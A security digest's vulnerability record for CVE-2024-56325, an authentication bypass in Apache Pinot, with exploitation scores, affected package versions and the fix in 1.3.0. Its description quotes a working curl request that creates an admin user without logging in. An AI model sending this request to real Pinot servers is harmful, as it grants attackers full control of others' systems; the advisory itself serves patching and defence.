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title: "CVE-2024-56325: Apache Pinot Vulnerable to Authentication Bypass"
url: https://erroneo.us/security/cve/CVE-2024-56325/
description: "CVE-2024-56325 (org.apache.pinot:pinot-broker (Maven)): Authentication Bypass Issue If the path does not contain / and contain., authentication is not…"
type: vulnerability-record
section: "Security Digest"
date_published: 2025-04-01
date_modified: 2026-08-31
publisher: erroneo.us
author: erroneo.us Security Desk
cve: "CVE-2024-56325"
kev: false
cvss: 9.3
epss: 0.80212
license: All rights reserved. Quote with attribution and a link.
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# CVE-2024-56325: Apache Pinot Vulnerable to Authentication Bypass

**Signal:** High exploit likelihood. EPSS ranks it in the top 5% of all CVEs for likely exploitation in the next 30 days. (Computed from CISA KEV, EPSS and CVSS; not an editorial verdict.)

## Should you act?

- No confirmed exploitation. It is not in CISA’s KEV catalog and CISA’s SSVC assessment records no known exploitation. That can change quickly after a public write-up; re-check if you are affected.
- EPSS 80.2% , percentile 99.6: FIRST’s model estimates a 80.2% chance of exploitation activity in the next 30 days, higher than 99.6% of all scored CVEs (very high). EPSS is a probability, not a verdict.
- Remotely reachable with no login and no user interaction. If the vulnerable service is exposed to the internet, prioritize it.
- Only applies if your dependency tree includes org.apache.pinot:pinot-broker (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0 ; org.apache.pinot:pinot-common (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0 ; org.apache.pinot:pinot-controller (Maven) >= 0.8.0, < 1.3.0, fixed in 1.3.0 . Check your lockfile, including transitive dependencies.

## What it is

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

## Affected packages

- Maven `org.apache.pinot:pinot-broker` >= 0.8.0, < 1.3.0 → fixed: 1.3.0
- Maven `org.apache.pinot:pinot-common` >= 0.8.0, < 1.3.0 → fixed: 1.3.0
- Maven `org.apache.pinot:pinot-controller` >= 0.8.0, < 1.3.0 → fixed: 1.3.0

## Affected products (CVE record)

- Apache Software Foundation Apache Pinot: < 1.3

## Severity

- CISA-ADP CVSS 3.1: 9.8 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- GitHub CVSS 4.0: 9.3 `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`

## Exploitation

- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- CISA SSVC assessment: exploitation none , automatable yes , technical impact total .
- FIRST EPSS (model of 2026-10-21): 80.21% probability of exploitation activity in the next 30 days; percentile 99.6.

## Sources

- [lists.apache.org](https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v)
- [GitHub Advisory GHSA-6jwp-4wvj-6597](https://github.com/advisories/GHSA-6jwp-4wvj-6597)
- [CVE.org record CVE-2024-56325](https://www.cve.org/CVERecord?id=CVE-2024-56325)
- [NVD entry CVE-2024-56325](https://nvd.nist.gov/vuln/detail/CVE-2024-56325)
- [openwall.com](http://www.openwall.com/lists/oss-security/2025/03/27/8)
- [github.com](https://github.com/apache/pinot/pull/14383)
- [github.com](https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f)
- [github.com](https://github.com/apache/pinot/releases/tag/release-1.3.0)
- [github.com](https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121)

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